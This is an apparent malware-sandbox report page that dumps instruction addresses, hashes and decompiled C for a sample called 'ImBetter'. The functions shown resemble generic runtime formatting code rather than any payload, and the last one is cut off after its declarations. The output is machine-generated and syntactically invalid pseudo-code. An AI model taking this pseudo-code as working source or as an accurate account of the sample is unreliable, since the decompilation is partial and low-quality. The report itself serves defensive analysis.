0x7ff7e6b27f30
0x7ff7e6b27f3a
0x7ff7e6b27f3c
0x7ff7e6b27f3f
0x7ff7e6b27f41
0x7ff7e6b27f47
0x7ff7e6b27f52
0x7ff7e6b27f56
0x7ff7e6b27f58
0x7ff7e6b27f60
0x7ff7e6b27f65
0x7ff7e6b27f67
0x7ff7e6b27f6a
0x7ff7e6b27f78
0x7ff7e6b27f7e
0x7ff7e6b27f80
0x7ff7e6b27f85
0x7ff7e6b27f8a
0x7ff7e6b27f99
0x7ff7e6b27fa0
0x7ff7e6b27fa4
0x7ff7e6b27fa9
0x7ff7e6b27fac
0x7ff7e6b27fb1
0x7ff7e6b27fb4
0x7ff7e6b27fc2
0x7ff7e6b27fcc
0x7ff7e6b27fd5
0x7ff7e6b27fd7
0x7ff7e6b27fdd
0x7ff7e6b27fe3
0x7ff7e6b27fe3
0x7ff7e6b27fe7
0x7ff7e6b27fea
0x7ff7e6b27fef
0x7ff7e6b27fef
0x7ff7e6b27ff9
0x7ff7e6b28000
0x7ff7e6b28005
0x7ff7e6b28010
0x7ff7e6b28018
0x7ff7e6b2801a
0x7ff7e6b2801f
0x7ff7e6b28023
0x7ff7e6b2802e
0x7ff7e6b28034
0x7ff7e6b28038
0x7ff7e6b2803d
0x7ff7e6b2803f
0x7ff7e6b28044
0x7ff7e6b28046
0x7ff7e6b28050
0x7ff7e6b28056
0x7ff7e6b2805e
0x7ff7e6b28060
0x7ff7e6b28066
0x7ff7e6b2806c
0x7ff7e6b28072
0x7ff7e6b28078
0x7ff7e6b2807f
0x7ff7e6b28083
0x7ff7e6b28088
0x7ff7e6b2808c
0x7ff7e6b28095
0x7ff7e6b2809b
0x7ff7e6b280a7
0x7ff7e6b280a9
0x7ff7e6b280b0
0x7ff7e6b280bd
0x7ff7e6b280c5
0x7ff7e6b280ca
0x7ff7e6b280d1
0x7ff7e6b280d3
0x7ff7e6b280d5
0x7ff7e6b280d8
0x7ff7e6b280e1
0x7ff7e6b280e5
0x7ff7e6b280ec
0x7ff7e6b280f1
0x7ff7e6b280f6
0x7ff7e6b280fa
0x7ff7e6b28105
0x7ff7e6b28107
0x7ff7e6b2810c
0x7ff7e6b2810e
0x7ff7e6b28119
0x7ff7e6b2811f
0x7ff7e6b28123
0x7ff7e6b28128
0x7ff7e6b2812a
0x7ff7e6b2812f
0x7ff7e6b28131
0x7ff7e6b2813b
0x7ff7e6b28141
0x7ff7e6b28149
0x7ff7e6b2814b
0x7ff7e6b28151
0x7ff7e6b2817f

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e29dc8634bebd014b9af737b6fd450dfc19786d37d76e0c9e0163a2ef2db274f
Instruction ID: fa59e3a7a7a6912f64c2d3e77678f50a0fe9f5b62e3b88f1262de3f213ab56f1
Opcode Fuzzy Hash: e29dc8634bebd014b9af737b6fd450dfc19786d37d76e0c9e0163a2ef2db274f
Instruction Fuzzy Hash: 0AD1C8269386C685E724AA6588003BFBBE2EB04B58FB40137DE5C073D5CF39D845C32A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2F978 Relevance: .2, Instructions: 198
COMMONCrypto

Download Yara Rule

C-Code - Quality: 47%

			E00007FF77FF7E6B2F978(void* __rax, long long __rbx, unsigned int* __rcx, void* __rdx, void* __rdi, long long __rsi, void* __r8, void* __r9, long long _a8, long long _a16, intOrPtr _a40, intOrPtr _a48, void* _a64, long long _a80) {
				long long _v48;
				signed long long _v56;
				long long _t37;
				long long _t44;
				unsigned int* _t49;
				void* _t51;
				void* _t58;

				_a8 = __rbx;
				_a16 = __rsi;
				_t58 = __r8;
				_t49 = __rcx;
				if (__rdx != 0) goto 0xe6b2f9c8;
				_t44 = _a80;
				_v48 = _t44;
				 *((char*)(_t44 + 0x30)) = 1;
				 *((intOrPtr*)(_t44 + 0x2c)) = __rdx + 0x16;
				_v56 = _v56 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E00007FF77FF7E6B258C4(__rax, __rbx, _t44, __rdx, __rsi, _t51, __r8);
				goto 0xe6b2fc37;
				if (_t58 != 0) goto 0xe6b2f9e8;
				_t37 = _a80;
				_v48 = _t37;
				 *((char*)(_t37 + 0x30)) = 1;
				 *((intOrPtr*)(_t37 + 0x2c)) = 0x16;
				goto 0xe6b2f9ac;
				if (__r9 == 0) goto 0xe6b2f9cd;
				if (_a40 == 0) goto 0xe6b2f9cd;
				if (_a48 == 0x41) goto 0xe6b2fa13;
				if (_t44 - 0x45 - 2 <= 0) goto 0xe6b2fa13;
				sil = 0;
				goto 0xe6b2fa16;
				sil = 1;
				if (0 != 0) goto 0xe6b2fb0d;
				if ( *_t49 >> 0x34 != 0x7ff) goto 0xe6b2fb0d;
				r8d = 0xc;
			}

0x7ff7e6b2f978
0x7ff7e6b2f97d
0x7ff7e6b2f987
0x7ff7e6b2f98d
0x7ff7e6b2f993
0x7ff7e6b2f995
0x7ff7e6b2f9a0
0x7ff7e6b2f9a5
0x7ff7e6b2f9a9
0x7ff7e6b2f9ac
0x7ff7e6b2f9b2
0x7ff7e6b2f9b5
0x7ff7e6b2f9bc
0x7ff7e6b2f9c3
0x7ff7e6b2f9cb
0x7ff7e6b2f9cd
0x7ff7e6b2f9da
0x7ff7e6b2f9df
0x7ff7e6b2f9e3
0x7ff7e6b2f9e6
0x7ff7e6b2f9eb
0x7ff7e6b2f9f8
0x7ff7e6b2fa04
0x7ff7e6b2fa0c
0x7ff7e6b2fa0e
0x7ff7e6b2fa11
0x7ff7e6b2fa13
0x7ff7e6b2fa21
0x7ff7e6b2fa3c
0x7ff7e6b2fa4f

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d84b0dc17ff929a9a21264fd78fd32373fdfe548cbd4b79020688c9fba449ad0
Instruction ID: 42a779246d52200870420567bf17249884d4a5cce9464712b2663c49a2db18a0
Opcode Fuzzy Hash: d84b0dc17ff929a9a21264fd78fd32373fdfe548cbd4b79020688c9fba449ad0
Instruction Fuzzy Hash: 1E81F272A6C7C146EB64DB19988036BB6D6FB4B7D4FA05236DA9D43B89CF3CD0008B11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B27258 Relevance: .1, Instructions: 137
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF7E6B27258(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t86;
				signed int _t90;
				void* _t110;
				intOrPtr _t111;
				signed int _t118;
				intOrPtr _t129;
				void* _t133;
				void* _t143;
				intOrPtr _t149;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t133 = __rcx;
				bpl = __edx;
				_t86 =  *((intOrPtr*)(__rcx + 0x34));
				_t110 = _t86 - 5;
				if (_t110 > 0) goto 0xe6b2733f;
				if (_t110 == 0) goto 0xe6b272a8;
				_t111 = _t86;
				if (_t111 == 0) goto 0xe6b27393;
				if (_t111 == 0) goto 0xe6b27317;
				if (_t111 == 0) goto 0xe6b272f0;
				if (_t111 == 0) goto 0xe6b27393;
				if (_t86 - 0xffffffffffffffff != 1) goto 0xe6b2735f;
				_t90 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t143;
				if ((_t90 >> 0x00000004 & 0x00000001) == 0) goto 0xe6b272da;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0xe6b272da;
				 *(__rcx + 0x28) = _t90 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xe6b273be;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xe6b273d5;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xe6b27311;
				goto 0xe6b272c3;
				goto 0xe6b272c3;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t118 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t118 == 0) goto 0xe6b27339;
				goto 0xe6b272c3;
				goto 0xe6b272c3;
				if (_t118 == 0) goto 0xe6b272a8;
				if (_t118 == 0) goto 0xe6b272a8;
				if (_t118 == 0) goto 0xe6b272a8;
				goto 0xe6b27296;
				_t129 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t129 + 0x30)) = 1;
				 *((intOrPtr*)(_t129 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7E6B258C4( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0xe6b27428;
				 *((long long*)(_t133 + 0x18)) =  *((long long*)(_t133 + 0x18)) + 8;
				if (0 == 0) goto 0xe6b273b6;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8));
				goto 0xe6b272c3;
				goto 0xe6b272c3;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xfffffff7;
				E00007FF77FF7E6B26B30(_t133, _t133 + 0x50,  *((intOrPtr*)(_t133 + 0x30)), _t149,  *((intOrPtr*)(_t133 + 8)));
				if (_t149 != 0) goto 0xe6b273de;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xffffffdf;
				 *((char*)(_t133 + 0x4c)) = 0;
				r8b = bpl;
				if (_t143 != 8) goto 0xe6b273f8;
				E00007FF77FF7E6B27718(_t133, _t149);
				goto 0xe6b273ff;
				E00007FF77FF7E6B27564( *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8)), _t133, _t149);
				if (0 == 0) goto 0xe6b27426;
				if ( *((intOrPtr*)(_t133 + 0x48)) == 0) goto 0xe6b27418;
				if ( *((char*)( *((intOrPtr*)(_t133 + 0x40)))) == 0x30) goto 0xe6b27426;
				 *((long long*)(_t133 + 0x40)) =  *((long long*)(_t133 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t133 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t133 + 0x48)) =  *((intOrPtr*)(_t133 + 0x48)) + 1;
				return 1;
			}

0x7ff7e6b27258
0x7ff7e6b2725d
0x7ff7e6b27262
0x7ff7e6b2726c
0x7ff7e6b2726f
0x7ff7e6b27272
0x7ff7e6b27275
0x7ff7e6b27278
0x7ff7e6b2727e
0x7ff7e6b27280
0x7ff7e6b27282
0x7ff7e6b2728b
0x7ff7e6b27294
0x7ff7e6b27299
0x7ff7e6b272a2
0x7ff7e6b272a8
0x7ff7e6b272b0
0x7ff7e6b272ca
0x7ff7e6b272cf
0x7ff7e6b272d7
0x7ff7e6b272de
0x7ff7e6b272e4
0x7ff7e6b272eb
0x7ff7e6b272f8
0x7ff7e6b27308
0x7ff7e6b2730f
0x7ff7e6b27315
0x7ff7e6b2731f
0x7ff7e6b27329
0x7ff7e6b27330
0x7ff7e6b27337
0x7ff7e6b2733d
0x7ff7e6b27342
0x7ff7e6b2734b
0x7ff7e6b27354
0x7ff7e6b2735a
0x7ff7e6b2735f
0x7ff7e6b27363
0x7ff7e6b27366
0x7ff7e6b2736d
0x7ff7e6b27371
0x7ff7e6b2737c
0x7ff7e6b27381
0x7ff7e6b27387
0x7ff7e6b2738e
0x7ff7e6b2739b
0x7ff7e6b273ab
0x7ff7e6b273ad
0x7ff7e6b273b1
0x7ff7e6b273b9
0x7ff7e6b273c9
0x7ff7e6b273d0
0x7ff7e6b273d8
0x7ff7e6b273da
0x7ff7e6b273de
0x7ff7e6b273e2
0x7ff7e6b273ec
0x7ff7e6b273f1
0x7ff7e6b273f6
0x7ff7e6b273fa
0x7ff7e6b27407
0x7ff7e6b2740d
0x7ff7e6b27416
0x7ff7e6b27418
0x7ff7e6b27420
0x7ff7e6b27423
0x7ff7e6b2743c

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b2235312e67dbb0726dbc44dee1bd6196b8167b62b30abdfcd639f482643e9
Instruction ID: 299ac07382eca14a3fe0c4ed3864143329cf724da0fdd05b666bde93d1bc7612
Opcode Fuzzy Hash: d0b2235312e67dbb0726dbc44dee1bd6196b8167b62b30abdfcd639f482643e9
Instruction Fuzzy Hash: FA51E773A2869182E3289F28C54433EBBE2EB55B58F750136DE0D17799CB38EC41C796

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B27070 Relevance: .1, Instructions: 137
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF7E6B27070(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t86;
				signed int _t90;
				void* _t110;
				intOrPtr _t111;
				signed int _t118;
				intOrPtr _t129;
				void* _t133;
				void* _t143;
				intOrPtr _t149;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t133 = __rcx;
				bpl = __edx;
				_t86 =  *((intOrPtr*)(__rcx + 0x34));
				_t110 = _t86 - 5;
				if (_t110 > 0) goto 0xe6b27157;
				if (_t110 == 0) goto 0xe6b270c0;
				_t111 = _t86;
				if (_t111 == 0) goto 0xe6b271ab;
				if (_t111 == 0) goto 0xe6b2712f;
				if (_t111 == 0) goto 0xe6b27108;
				if (_t111 == 0) goto 0xe6b271ab;
				if (_t86 - 0xffffffffffffffff != 1) goto 0xe6b27177;
				_t90 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t143;
				if ((_t90 >> 0x00000004 & 0x00000001) == 0) goto 0xe6b270f2;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0xe6b270f2;
				 *(__rcx + 0x28) = _t90 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xe6b271d6;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xe6b271ed;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xe6b27129;
				goto 0xe6b270db;
				goto 0xe6b270db;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t118 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t118 == 0) goto 0xe6b27151;
				goto 0xe6b270db;
				goto 0xe6b270db;
				if (_t118 == 0) goto 0xe6b270c0;
				if (_t118 == 0) goto 0xe6b270c0;
				if (_t118 == 0) goto 0xe6b270c0;
				goto 0xe6b270ae;
				_t129 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t129 + 0x30)) = 1;
				 *((intOrPtr*)(_t129 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7E6B258C4( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0xe6b27240;
				 *((long long*)(_t133 + 0x18)) =  *((long long*)(_t133 + 0x18)) + 8;
				if (0 == 0) goto 0xe6b271ce;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8));
				goto 0xe6b270db;
				goto 0xe6b270db;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xfffffff7;
				E00007FF77FF7E6B26B30(_t133, _t133 + 0x50,  *((intOrPtr*)(_t133 + 0x30)), _t149,  *((intOrPtr*)(_t133 + 8)));
				if (_t149 != 0) goto 0xe6b271f6;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xffffffdf;
				 *((char*)(_t133 + 0x4c)) = 0;
				r8b = bpl;
				if (_t143 != 8) goto 0xe6b27210;
				E00007FF77FF7E6B2766C(_t133, _t149);
				goto 0xe6b27217;
				E00007FF77FF7E6B274BC( *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8)), _t133, _t149);
				if (0 == 0) goto 0xe6b2723e;
				if ( *((intOrPtr*)(_t133 + 0x48)) == 0) goto 0xe6b27230;
				if ( *((char*)( *((intOrPtr*)(_t133 + 0x40)))) == 0x30) goto 0xe6b2723e;
				 *((long long*)(_t133 + 0x40)) =  *((long long*)(_t133 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t133 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t133 + 0x48)) =  *((intOrPtr*)(_t133 + 0x48)) + 1;
				return 1;
			}

0x7ff7e6b27070
0x7ff7e6b27075
0x7ff7e6b2707a
0x7ff7e6b27084
0x7ff7e6b27087
0x7ff7e6b2708a
0x7ff7e6b2708d
0x7ff7e6b27090
0x7ff7e6b27096
0x7ff7e6b27098
0x7ff7e6b2709a
0x7ff7e6b270a3
0x7ff7e6b270ac
0x7ff7e6b270b1
0x7ff7e6b270ba
0x7ff7e6b270c0
0x7ff7e6b270c8
0x7ff7e6b270e2
0x7ff7e6b270e7
0x7ff7e6b270ef
0x7ff7e6b270f6
0x7ff7e6b270fc
0x7ff7e6b27103
0x7ff7e6b27110
0x7ff7e6b27120
0x7ff7e6b27127
0x7ff7e6b2712d
0x7ff7e6b27137
0x7ff7e6b27141
0x7ff7e6b27148
0x7ff7e6b2714f
0x7ff7e6b27155
0x7ff7e6b2715a
0x7ff7e6b27163
0x7ff7e6b2716c
0x7ff7e6b27172
0x7ff7e6b27177
0x7ff7e6b2717b
0x7ff7e6b2717e
0x7ff7e6b27185
0x7ff7e6b27189
0x7ff7e6b27194
0x7ff7e6b27199
0x7ff7e6b2719f
0x7ff7e6b271a6
0x7ff7e6b271b3
0x7ff7e6b271c3
0x7ff7e6b271c5
0x7ff7e6b271c9
0x7ff7e6b271d1
0x7ff7e6b271e1
0x7ff7e6b271e8
0x7ff7e6b271f0
0x7ff7e6b271f2
0x7ff7e6b271f6
0x7ff7e6b271fa
0x7ff7e6b27204
0x7ff7e6b27209
0x7ff7e6b2720e
0x7ff7e6b27212
0x7ff7e6b2721f
0x7ff7e6b27225
0x7ff7e6b2722e
0x7ff7e6b27230
0x7ff7e6b27238
0x7ff7e6b2723b
0x7ff7e6b27254

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a595148431bbcdcf83b607cc77e310f39f673ee297fcdb257f36cc52ab65d25
Instruction ID: b42471d2a43601f4f15fcacbb9eba6cc08e4f3153b8b2bd83db9e32776f1bab2
Opcode Fuzzy Hash: 3a595148431bbcdcf83b607cc77e310f39f673ee297fcdb257f36cc52ab65d25
Instruction Fuzzy Hash: 7551C572A2869182E3289E24C85473FBBE2EF45B58F740136DF0917798CB39EC81C395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B26E88 Relevance: .1, Instructions: 137
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF7E6B26E88(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t86;
				signed int _t90;
				void* _t110;
				intOrPtr _t111;
				signed int _t118;
				intOrPtr _t129;
				void* _t133;
				void* _t143;
				intOrPtr _t149;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t133 = __rcx;
				bpl = __edx;
				_t86 =  *((intOrPtr*)(__rcx + 0x34));
				_t110 = _t86 - 5;
				if (_t110 > 0) goto 0xe6b26f6f;
				if (_t110 == 0) goto 0xe6b26ed8;
				_t111 = _t86;
				if (_t111 == 0) goto 0xe6b26fc3;
				if (_t111 == 0) goto 0xe6b26f47;
				if (_t111 == 0) goto 0xe6b26f20;
				if (_t111 == 0) goto 0xe6b26fc3;
				if (_t86 - 0xffffffffffffffff != 1) goto 0xe6b26f8f;
				_t90 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t143;
				if ((_t90 >> 0x00000004 & 0x00000001) == 0) goto 0xe6b26f0a;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0xe6b26f0a;
				 *(__rcx + 0x28) = _t90 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xe6b26fee;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xe6b27005;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xe6b26f41;
				goto 0xe6b26ef3;
				goto 0xe6b26ef3;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t118 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t118 == 0) goto 0xe6b26f69;
				goto 0xe6b26ef3;
				goto 0xe6b26ef3;
				if (_t118 == 0) goto 0xe6b26ed8;
				if (_t118 == 0) goto 0xe6b26ed8;
				if (_t118 == 0) goto 0xe6b26ed8;
				goto 0xe6b26ec6;
				_t129 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t129 + 0x30)) = 1;
				 *((intOrPtr*)(_t129 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7E6B258C4( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0xe6b27058;
				 *((long long*)(_t133 + 0x18)) =  *((long long*)(_t133 + 0x18)) + 8;
				if (0 == 0) goto 0xe6b26fe6;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8));
				goto 0xe6b26ef3;
				goto 0xe6b26ef3;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xfffffff7;
				_t51 = _t133 + 0x50; // 0xc8
				E00007FF77FF7E6B26B30(_t133, _t51,  *((intOrPtr*)(_t133 + 0x30)), _t149,  *((intOrPtr*)(_t133 + 8)));
				if (_t149 != 0) goto 0xe6b2700e;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xffffffdf;
				 *((char*)(_t133 + 0x4c)) = 0;
				r8b = bpl;
				if (_t143 != 8) goto 0xe6b27028;
				E00007FF77FF7E6B275F0(0, _t133, _t149);
				goto 0xe6b2702f;
				E00007FF77FF7E6B27440( *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8)), _t133);
				if (0 == 0) goto 0xe6b27056;
				if ( *((intOrPtr*)(_t133 + 0x48)) == 0) goto 0xe6b27048;
				if ( *((char*)( *((intOrPtr*)(_t133 + 0x40)))) == 0x30) goto 0xe6b27056;
				 *((long long*)(_t133 + 0x40)) =  *((long long*)(_t133 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t133 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t133 + 0x48)) =  *((intOrPtr*)(_t133 + 0x48)) + 1;
				return 1;
			}

0x7ff7e6b26e88
0x7ff7e6b26e8d
0x7ff7e6b26e92
0x7ff7e6b26e9c
0x7ff7e6b26e9f
0x7ff7e6b26ea2
0x7ff7e6b26ea5
0x7ff7e6b26ea8
0x7ff7e6b26eae
0x7ff7e6b26eb0
0x7ff7e6b26eb2
0x7ff7e6b26ebb
0x7ff7e6b26ec4
0x7ff7e6b26ec9
0x7ff7e6b26ed2
0x7ff7e6b26ed8
0x7ff7e6b26ee0
0x7ff7e6b26efa
0x7ff7e6b26eff
0x7ff7e6b26f07
0x7ff7e6b26f0e
0x7ff7e6b26f14
0x7ff7e6b26f1b
0x7ff7e6b26f28
0x7ff7e6b26f38
0x7ff7e6b26f3f
0x7ff7e6b26f45
0x7ff7e6b26f4f
0x7ff7e6b26f59
0x7ff7e6b26f60
0x7ff7e6b26f67
0x7ff7e6b26f6d
0x7ff7e6b26f72
0x7ff7e6b26f7b
0x7ff7e6b26f84
0x7ff7e6b26f8a
0x7ff7e6b26f8f
0x7ff7e6b26f93
0x7ff7e6b26f96
0x7ff7e6b26f9d
0x7ff7e6b26fa1
0x7ff7e6b26fac
0x7ff7e6b26fb1
0x7ff7e6b26fb7
0x7ff7e6b26fbe
0x7ff7e6b26fcb
0x7ff7e6b26fdb
0x7ff7e6b26fdd
0x7ff7e6b26fe1
0x7ff7e6b26fe9
0x7ff7e6b26ff9
0x7ff7e6b26ffc
0x7ff7e6b27000
0x7ff7e6b27008
0x7ff7e6b2700a
0x7ff7e6b2700e
0x7ff7e6b27012
0x7ff7e6b2701c
0x7ff7e6b27021
0x7ff7e6b27026
0x7ff7e6b2702a
0x7ff7e6b27037
0x7ff7e6b2703d
0x7ff7e6b27046
0x7ff7e6b27048
0x7ff7e6b27050
0x7ff7e6b27053
0x7ff7e6b2706c

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91b964efca1e2eb7698e73cc685d1e97963d36816d76c92d765d6ef83a4a4a60
Instruction ID: 2fc1206786ea765465beded2f104534c4c4ddfc9676fc33da920931cc75d6821
Opcode Fuzzy Hash: 91b964efca1e2eb7698e73cc685d1e97963d36816d76c92d765d6ef83a4a4a60
Instruction Fuzzy Hash: AA51B373A2869183E728AE28C85433FB7E6EB55B58F640136CE0D17798DB39EC41C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3A8D4 Relevance: .1, Instructions: 126
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF7E6B3A8D4(signed int __edx, void* __edi, void* __esp, long long __rbx, signed long long*** __rcx, long long __rsi) {
				void* _t24;
				int _t26;
				signed int _t51;
				void* _t52;
				signed long long _t66;
				signed int* _t73;
				signed long long _t75;
				signed long long _t77;
				signed long long _t78;
				signed long long _t95;
				signed long long _t96;
				signed long long _t98;
